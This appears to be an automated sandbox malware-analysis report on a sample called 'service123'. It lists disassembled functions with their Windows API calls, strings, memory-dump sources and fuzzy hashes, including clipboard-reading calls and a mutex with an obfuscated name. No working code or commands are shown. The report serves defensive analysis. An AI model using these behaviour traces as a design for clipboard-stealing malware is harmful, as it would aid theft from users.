Associated: 00000009.00000002.5004697656.000000000052E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004728951.0000000000531000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_service123.jbxd

Similarity

API ID: malloc$ExceptionFilterInfoSleepStartupUnhandled__p__acmdlnmemcpystrlen
String ID:
API String ID: 1672962128-0
Opcode ID: 76af9b9feae5aec1f00d9f479bfc89066232d6d30a67c30ac8025af4ca73e47a
Instruction ID: 449ad05f810633e71ac793411379d266ea816efe27fba701cec12f00515ee0d7
Opcode Fuzzy Hash: 76af9b9feae5aec1f00d9f479bfc89066232d6d30a67c30ac8025af4ca73e47a
Instruction Fuzzy Hash: DF514E719047258FDB20DF64E888B5ABBF0FFAA344F11452DD9449B3A0E730A84ADB95

Function 6D0C4230 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 32
sleepsynchronizationclipboardCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenMutexA.KERNEL32 ref: 6D0C4259
CreateMutexA.KERNELBASE ref: 6D0C42A3
Sleep.KERNELBASE ref: 6D0C42BF
GetClipboardSequenceNumber.USER32 ref: 6D0C42C8

Strings

ZtfNfczALzfekIUCpwNB, xrefs: 6D0C4242, 6D0C428C

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: Mutex$ClipboardCreateNumberOpenSequenceSleep
String ID: ZtfNfczALzfekIUCpwNB
API String ID: 3689039344-3089069268
Opcode ID: f8768d644f8402854f753ef86c3605145c6e3982d88a67d6fc81894d6f1ba304
Instruction ID: d5f843cf5b90d253cc0d0971fbc4e8f639492447f995b3f646342014c2876216
Opcode Fuzzy Hash: f8768d644f8402854f753ef86c3605145c6e3982d88a67d6fc81894d6f1ba304
Instruction Fuzzy Hash: 390196714083069FDB00AFA4DA5A75FBFF4EB45344F018918E9A997240E7B4A149CB93

Function 00521296 Relevance: 5.1, APIs: 4, Instructions: 80
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 005212EB
strlen.MSVCRT ref: 00521323
malloc.MSVCRT ref: 0052132E
memcpy.MSVCRT ref: 00521344

Memory Dump Source

Source File: 00000009.00000002.5004637014.0000000000521000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00520000, based on PE: true

Associated: 00000009.00000002.5004605534.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004665742.000000000052A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004697656.000000000052E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004728951.0000000000531000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_service123.jbxd

Similarity

API ID: malloc$memcpystrlen
String ID:
API String ID: 3553820921-0
Opcode ID: c25346c9840e79281b92059e5e0cc68a4641b845913fe8c716f4cd4fad86b8a1
Instruction ID: 7f9c55053798a7831b900948ca736cfebe92e98917cbd41785844fe7be006b87
Opcode Fuzzy Hash: c25346c9840e79281b92059e5e0cc68a4641b845913fe8c716f4cd4fad86b8a1
Instruction Fuzzy Hash: 4F3169759017218FCB20DF64E88876ABBF1FFAA300F11852DD94897361E731A80ADF95

Function 005213BB Relevance: 5.1, APIs: 4, Instructions: 66
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 005212EB
strlen.MSVCRT ref: 00521323
malloc.MSVCRT ref: 0052132E
memcpy.MSVCRT ref: 00521344

Memory Dump Source

Source File: 00000009.00000002.5004637014.0000000000521000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00520000, based on PE: true

Associated: 00000009.00000002.5004605534.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004665742.000000000052A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004697656.000000000052E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004728951.0000000000531000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_service123.jbxd

Similarity

API ID: malloc$memcpystrlen
String ID:
API String ID: 3553820921-0
Opcode ID: afb05ca3f69c7a1ae424f85051b2239fc8566cd5af0fa438edc737b0a51d9b17
Instruction ID: 56335679b0a67facae5c0ec4d9119537a8469c6d57546c57cd247724e7b29396
Opcode Fuzzy Hash: afb05ca3f69c7a1ae424f85051b2239fc8566cd5af0fa438edc737b0a51d9b17
Instruction Fuzzy Hash: A02116B59057118FCB20DF64E88866ABBF1BF9A300F11892DD94897360E730A90ADF95

Function 6D00B1A0 Relevance: 1.4, APIs: 1, Instructions: 144
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd1dfb52ae2e60beb0b8549de7e2f9ebe60a9e1600742565738c269fd24ce879
Instruction ID: 62df152c8e00d8769647eced82194461f451021ff3bc47bf584f0e5966645c80
Opcode Fuzzy Hash: bd1dfb52ae2e60beb0b8549de7e2f9ebe60a9e1600742565738c269fd24ce879
Instruction Fuzzy Hash: 8D5128B5A482069FE704DF69D18472EFBF0FF86318B55855DE9688B310E730E845CBA2

Function 6D00B310 Relevance: 1.3, APIs: 1, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6d7f1758cb3e747ed0e7695517d4ac5502afc717f4028f2be55ad723fe19440
Instruction ID: 8f1dd37b94ce2c6ce5a60e4e44e4e63e0a615b623a9c6532323dab64497b3fcc
Opcode Fuzzy Hash: a6d7f1758cb3e747ed0e7695517d4ac5502afc717f4028f2be55ad723fe19440
Instruction Fuzzy Hash: 4F31ADB56442019FFB14DF28C4C072E77F8FB86308BA9856CDA108B355E734E4058B63

Non-executed Functions

Function 6CFFCD00 Relevance: 33.4, APIs: 22, Instructions: 445stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6CFFCD7D

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: fcba91c311bde0760cea4a10c3865ec6b0ecb6c6afe567f74eca86d1d28f5990
Instruction ID: f536043599a92fb63322b437dc5d9ab94bace413f472a0678fb02db58ed1606e
Opcode Fuzzy Hash: fcba91c311bde0760cea4a10c3865ec6b0ecb6c6afe567f74eca86d1d28f5990
Instruction Fuzzy Hash: A902F6715087618FD710CF29C044396FBE2EF86318F1986AED8B85B7A5C376A54ACB81

Function 6D000FC0 Relevance: 22.6, APIs: 8, Strings: 4, Instructions: 1647stringCOMMON

Download Yara Rule

APIs

localeconv.MSVCRT ref: 6D000FCA
strlen.MSVCRT ref: 6D000FD4

Strings

, xrefs: 6D00240F
!, xrefs: 6D002C08
5, xrefs: 6D0014D2
inity, xrefs: 6D001E21

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: localeconvstrlen
String ID: $!$5$inity
API String ID: 186660782-1328200385
Opcode ID: 1b868edcafc29b65e6f567be5a2efbddcfec205428b860c2e90f84fef42314a6
Instruction ID: da3acb3295d09196690893a0284531e4cb0a33333e2c3448f8df90f2f954516d
Opcode Fuzzy Hash: 1b868edcafc29b65e6f567be5a2efbddcfec205428b860c2e90f84fef42314a6
Instruction Fuzzy Hash: 99F23575A08781EFE320DF68C48479EBBE1BF89348F41892DE9D997350D775E8448B82

Function 6D078280 Relevance: 17.7, Strings: 14, Instructions: 166COMMON

Download Yara Rule

Strings

rdseed, xrefs: 6D0782C8
random_device::random_device(const std::string&): device not available, xrefs: 6D078348
default, xrefs: 6D07829F
Genu, xrefs: 6D07838F
rdrnd, xrefs: 6D0783C8
Auth, xrefs: 6D078426
hardware, xrefs: 6D078450
rdrand, xrefs: 6D078358
Genu, xrefs: 6D078307
Genu, xrefs: 6D07841E
random_device::random_device(const std::string&): unsupported token, xrefs: 6D078482
rand_s, xrefs: 6D078467
Auth, xrefs: 6D0782FF
Auth, xrefs: 6D078397

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: memcmpstrlen
String ID: Auth$Auth$Auth$Genu$Genu$Genu$default$hardware$rand_s$random_device::random_device(const std::string&): device not available$random_device::random_device(const std::string&): unsupported token$rdrand$rdrnd$rdseed
API String ID: 3108337309-1359127009
Opcode ID: c8feb34dc495c4d1ed7ed4e4e6b8170d939f3aff445bbb4a13e75c10a657af8f
Instruction ID: b2a9f66883f207eae9e73262fbf767a96fd617488b7aea9c526fb0d0d8c2f738
Opcode Fuzzy Hash: c8feb34dc495c4d1ed7ed4e4e6b8170d939f3aff445bbb4a13e75c10a657af8f
Instruction Fuzzy Hash: 0441FFB161C3428BF320EA7DA88133ABAE6BB40354F10893DD8869F791E735D551C32B

Function 6CFFEE50 Relevance: 12.5, APIs: 8, Instructions: 494COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 6CFFF18B
malloc.MSVCRT ref: 6CFFF1A8

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: dfe9fdfdb15daa90ee67dd3a3e35cb2d7aaaed7dda69ea6324278e768400720c
Instruction ID: 1e3414a876fd8f84990fab530c5dc50e9d496ea30eaa0912fefb523863a818c2
Opcode Fuzzy Hash: dfe9fdfdb15daa90ee67dd3a3e35cb2d7aaaed7dda69ea6324278e768400720c
Instruction Fuzzy Hash: E9127075A087068FD350CF18C48065AF7E2FF88718F558A2DE8A997764D770ED0ACB92

Function 6D01E490 Relevance: 12.2, APIs: 6, Strings: 2, Instructions: 219stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6D01E4BA
strlen.MSVCRT ref: 6D01E52A

Strings

basic_string: construction from null is not valid, xrefs: 6D01E61F, 6D01E670, 6D01E6C0
basic_string: construction from null is not valid, xrefs: 6D01E4F2, 6D01E562, 6D01E5D2

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: strlen
String ID: basic_string: construction from null is not valid$basic_string: construction from null is not valid
API String ID: 39653677-1250104765
Opcode ID: 5498a2f68cd44fd31a73d0ab1700666700e0ecc120797745a22f8c706648cfd8
Instruction ID: 94b7ef4e5a4bf429128de2407cf5a12920e0e04e1566614f352be0964e87403b
Opcode Fuzzy Hash: 5498a2f68cd44fd31a73d0ab1700666700e0ecc120797745a22f8c706648cfd8
Instruction Fuzzy Hash: 5761ACF1A097118FDB00AF6CD88496EBBE4BF45214F06496DE9888B315E331E885CB92

Function 6D010610 Relevance: 10.7, APIs: 5, Strings: 2, Instructions: 212stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6D010636
memcmp.MSVCRT ref: 6D010659
memcmp.MSVCRT ref: 6D0106CF
memcmp.MSVCRT ref: 6D010741

Part of subcall function 6D0BAB60: strlen.MSVCRT ref: 6D0BAB6E

memcmp.MSVCRT ref: 6D0107D5

Strings

basic_string::compare, xrefs: 6D010678, 6D0106EC, 6D01075F, 6D0107F4, 6D010810
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6D010680, 6D0106F4, 6D010767, 6D0107FC, 6D010818

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: memcmp$strlen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::compare
API String ID: 3738950036-1697194757
Opcode ID: b328b16e16f959765471cb52947dc4eebe8a89caf8163afbadb45a050fef4f2f
Instruction ID: 9779454b0281f46f82e3f081ce94eed7a805235cbf721fd7bf193b78428ae6cc
Opcode Fuzzy Hash: b328b16e16f959765471cb52947dc4eebe8a89caf8163afbadb45a050fef4f2f
Instruction Fuzzy Hash: 38613375A0E305AFE3009F6AC9C4A1EFBE9ABC9644F55892DE8C887310D331D8408B93

Function 6D009B99 Relevance: 10.6, APIs: 7, Instructions: 81clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 6D009BA0
GetClipboardData.USER32 ref: 6D009BE7
GlobalLock.KERNEL32 ref: 6D009BF9
GlobalUnlock.KERNEL32 ref: 6D009C1A
CloseClipboard.USER32 ref: 6D009C23

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockOpenUnlock
String ID:
API String ID: 1006321803-0
Opcode ID: c30fde478aaa26a059432055181376986ab3cd0eb5d393369e252bde30e880e7
Instruction ID: b920937a39ffeceac48fa0d908cdf624f293f121ae9c5b751bc5f67b3aa99799
Opcode Fuzzy Hash: c30fde478aaa26a059432055181376986ab3cd0eb5d393369e252bde30e880e7
Instruction Fuzzy Hash: D9213EB59082018FFB00BF78EA5A36EBBF0BB45314F454969D8A587244EB74D448CB93

Function 6D0070C0 Relevance: 9.6, APIs: 6, Instructions: 649COMMON

Download Yara Rule

APIs

localeconv.MSVCRT ref: 6D0070C7
memset.MSVCRT ref: 6D007217

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: localeconvmemset
String ID:
API String ID: 2367598729-0
Opcode ID: 19b9809ab6af446b3f1ef29af9e1865fc6352c1386291eea9050a917c32af887
Instruction ID: 52e84d976c86a75d34bd402eddfe8be3f9e9f42c93bcd8793fbfa38466c89797
Opcode Fuzzy Hash: 19b9809ab6af446b3f1ef29af9e1865fc6352c1386291eea9050a917c32af887
Instruction Fuzzy Hash: 12428E71A083169FF701CF28C49036ABBE2BBC5304F55896DE8958B381D7B9D949CB92

Function 6D005880 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 1506COMMON

Download Yara Rule

Strings

, xrefs: 6D006D95
Infinity, xrefs: 6D005BE0
, xrefs: 6D007074
NaN, xrefs: 6D005B5F

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID: $ $Infinity$NaN
API String ID: 0-3274152445
Opcode ID: 67857ae079b26644d23da0ecfc71d81618d04e07098f4a1c954c63ae47c5bf5d
Instruction ID: 51e37c64106b0f1781753f526e306fe419fbfdaffc49b91ce387e2f65003c0b2
Opcode Fuzzy Hash: 67857ae079b26644d23da0ecfc71d81618d04e07098f4a1c954c63ae47c5bf5d
Instruction Fuzzy Hash: E3E232B1A0C782AFE310DF29C08475ABBE1FF89744F91891DE99597350E775E8848F82

Function 005251B0 Relevance: 6.0, APIs: 1, Strings: 2, Instructions: 1506COMMON

Download Yara Rule

Strings

, xrefs: 005269A4
, xrefs: 005266C5

Memory Dump Source

Source File: 00000009.00000002.5004637014.0000000000521000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00520000, based on PE: true

Associated: 00000009.00000002.5004605534.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004665742.000000000052A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004697656.000000000052E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004728951.0000000000531000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_service123.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-227171996
Opcode ID: fa15a90973645c62524b20070c0a8dacf289fa286a18667937beb8176d6a4b97
Instruction ID: 23624cc0aeebf2db65b33cd47d554f7ab51136381f87c97dd31c2328866183e5
Opcode Fuzzy Hash: fa15a90973645c62524b20070c0a8dacf289fa286a18667937beb8176d6a4b97
Instruction Fuzzy Hash: ABE222B1A087A18FD720DF29D18471ABBE0BF8A754F148D1DE88997391E775E844CF82

Function 00523E20 Relevance: 5.4, Strings: 4, Instructions: 351COMMON

Download Yara Rule

Strings

., xrefs: 00524114
gfff, xrefs: 00523F43
@, xrefs: 00523FD9
gfff, xrefs: 00523F2C

Memory Dump Source

Source File: 00000009.00000002.5004637014.0000000000521000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00520000, based on PE: true

Associated: 00000009.00000002.5004605534.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004665742.000000000052A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004697656.000000000052E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004728951.0000000000531000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_service123.jbxd

Similarity

API ID:
String ID: .$@$gfff$gfff
API String ID: 0-2633265772
Opcode ID: 8459d8207e057e620cf1d9af03855443049108a225ce8fe639410900789573df
Instruction ID: e2ea1cb1aa68e2d809b18f3fb57e99fb78af3076a517a5c23e3f75109057acc3
Opcode Fuzzy Hash: 8459d8207e057e620cf1d9af03855443049108a225ce8fe639410900789573df
Instruction Fuzzy Hash: E8D1B171A083268BC714DE29E48431BBFE2BFD6340F19C92DE8588B295D774DD48CB92

Function 6D0044F0 Relevance: 5.4, Strings: 4, Instructions: 351COMMON

Download Yara Rule

Strings

., xrefs: 6D0047E4
gfff, xrefs: 6D0045FC
gfff, xrefs: 6D004613
@, xrefs: 6D0046A9

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID: .$@$gfff$gfff
API String ID: 0-2633265772
Opcode ID: 8626a3e6e77548aa8c80ec26b31963b047f7067a9e1e968e0f87eb2c543a7be7
Instruction ID: 8a3115d4b07e1defa9acd470e228e60019ac85490d9621f07214f703196ea0b3
Opcode Fuzzy Hash: 8626a3e6e77548aa8c80ec26b31963b047f7067a9e1e968e0f87eb2c543a7be7
Instruction Fuzzy Hash: A9D1A071A08346ABF700DE29C48031BBBE2FFD9344F55C92DE8988B355E770D9498B96

Function 6D092EF0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 137COMMON

Download Yara Rule

Strings

basic_string: construction from null is not valid, xrefs: 6D093000

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID: basic_string: construction from null is not valid
API String ID: 0-2991274800
Opcode ID: 04787301aa35d3229986e490494369eb5c65557148953c505228c50cdd881fb9
